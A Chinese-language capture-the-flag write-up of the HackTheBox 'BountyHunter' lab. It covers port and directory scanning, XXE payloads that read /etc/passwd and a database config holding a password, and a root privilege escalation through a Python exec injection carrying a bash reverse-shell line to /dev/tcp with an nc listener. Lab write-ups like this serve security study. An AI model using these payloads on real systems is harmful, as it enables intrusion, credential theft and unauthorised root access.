HackTheBox-BountyHunter靶場


@

HackTheBox-BountyHunter靶場

准備工作

  • 打開hackthebox並找到bountyhunter靶場,關注並獲取到IP地址
  • 在hackthebox中下載vpn
  • Kali虛擬機,並運行指定的vpn

信息搜集

我拿到的IP地址為:10.10.11.100

在這里插入圖片描述

  • 使用nmap進行端口掃描,看看開放了哪些端口。sudo nmap -Pn -sS -p- 10.10.11.100

    在這里插入圖片描述

  • 可以看到開放了22端口和80端口。22端口可以用於ssh連接,但是目前沒有賬號和密碼;80端口直接可以直接訪問
    在這里插入圖片描述

  • 挖洞!大概過一遍網頁的功能后,發現有三個地方比較可疑

  • 第一是頁面往下翻,有一個按鈕叫“Download our pricing guide”,從名字上來看是個下載文件的按鈕,因此可能存在任意文件下載的漏洞,但是點了卻沒反應,跳過。

    在這里插入圖片描述

  • 繼續往下翻有一張表單,可能存在XSS注入。如果調用后台接口則可能存在更多的漏洞。但是輸入數據或者點擊按鈕都沒有反應,也沒看到請求,因此跳過

    在這里插入圖片描述

  • 最后一個則是點擊頂部導航欄中的PORTAL選項,然后點擊here會進入到一個頁面,同樣存在表單(同時可以發現這是個php的站,通常啟動php項目會采用apache2服務,而apache2存放項目的路徑默認為/var/www/html)

    在這里插入圖片描述

    在這里插入圖片描述
    在這里插入圖片描述

  • 正常操作一遍
    在這里插入圖片描述

    • 它將我們輸入的內容展示在了下邊,同時burp也攔截到了請求

      在這里插入圖片描述

    • 那個data參數非常可疑,看起來像是加密的數據,猜測是Base64,因此嘗試解密

      在這里插入圖片描述

    • 發現是前端輸入的參數,以xml的格式傳入后台,因此非常有可能存在XXE漏洞,放入payload:<!DOCTYPE a[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>,並在下方對該內容進行輸出<title>&xxe;</title>。然后使用Base64加密后發包

      在這里插入圖片描述
      在這里插入圖片描述

    • 讀取到了passwd文件的內容,因此此處確實存在XXE漏洞。並且根據內容分析,有一個叫做development的賬號后邊的數字大於1000(通常大於1000的是手動創建的用戶賬號),因此也做一個記錄

  1. 使用dirb掃描目錄,看看有哪些文件。sudo dirb http://10.10.11.100(dirb命令默認使用的是/usr/share/dirb/worklists/common.txt字典)

    在這里插入圖片描述

    • 除去一些assets、css、js文件夾之外,還有一個叫做resources的文件夾,打開瀏覽器訪問一下
      在這里插入圖片描述

    • 里邊有一個可疑的README.txt文件,打開看看

      在這里插入圖片描述

    • 使用wfuzz掃描文件,看看有沒有一些可以讀的配置。sudo wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 "http://10.10.11.100/FUZZ.php"

    在這里插入圖片描述

    可以看到除了index、portal之外還有一個叫做db的文件。根據命名判斷這是個和數據庫配置有關的文件。

    總結

    在這里插入圖片描述

漏洞利用

在上一步中,搜集了一些信息,比如疑似配置文件的db.php和一些漏洞。在這一步就要嘗試使用已知的漏洞對系統發起攻擊

  • 使用XXE漏洞嘗試讀取db.php(讀取時對該文件進行加密)<!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php">]>

    在這里插入圖片描述

    對結果進行Base64解密

    在這里插入圖片描述

    結果疑似數據庫的配置文件,並且包含一個密碼:m19RoAU0hP41A1sTsq6K

    嘗試用該密碼連接shell

    在這里插入圖片描述

    龜龜!真連上了,牛批

提權

  • 嘗試sudo -l命令來查看可以development可以使用sudo命令操作的內容:

    在這里插入圖片描述

  • 發現可以執行python和一個python文件,打開查看該python文件:

    在這里插入圖片描述

  • 大概來講這個文件是通過讀取一個markdown文件,並配置一系列的規則,符合這些規則的話便可以執行一個字符串表達式(通過exec函數)。在這個表達式我們可以通過嵌入一個python代碼來執行root命令,但是我們並不能通過命令行來獲取到root賬號的密碼,需要想辦法通過命令行來打開賬號為root的命令窗口,而exec函數並不能打開這樣的命令窗口,它只是返回了表達式的值............

  • 綜上所述,這里需要做的是:

    1. 創建markdown文件

      在這里插入圖片描述

    2. 寫入符合規則的內容來使代碼走到exec函數的位置

      # Skytrain Inc
      ## Ticket to 
      __Ticket Code:__
      **1404 + 10 == 1414 and __import__('os').system("bash -c 'exec bash -i >& /dev/tcp/10.10.11.100/4444 0>&1'") == False
      
    3. 然后通過構建一段命令來打開擁有root權限的命令窗口(詳見上述代碼)。ip地址需要替換成自己在hackthebox上申請的靶場ip

    4. 使用反彈shell來打開一個新的、擁有root賬號的shell窗口

      打開新的shell窗口,並使用nc命令監聽端口

      在這里插入圖片描述

  • 准備完畢后,使用命令sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py運行python程序,並輸入markdown的文件名,然后在反彈shell的窗口中便可看到擁有root權限的命令行

    在這里插入圖片描述

  • 至此,提權完成,write out!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM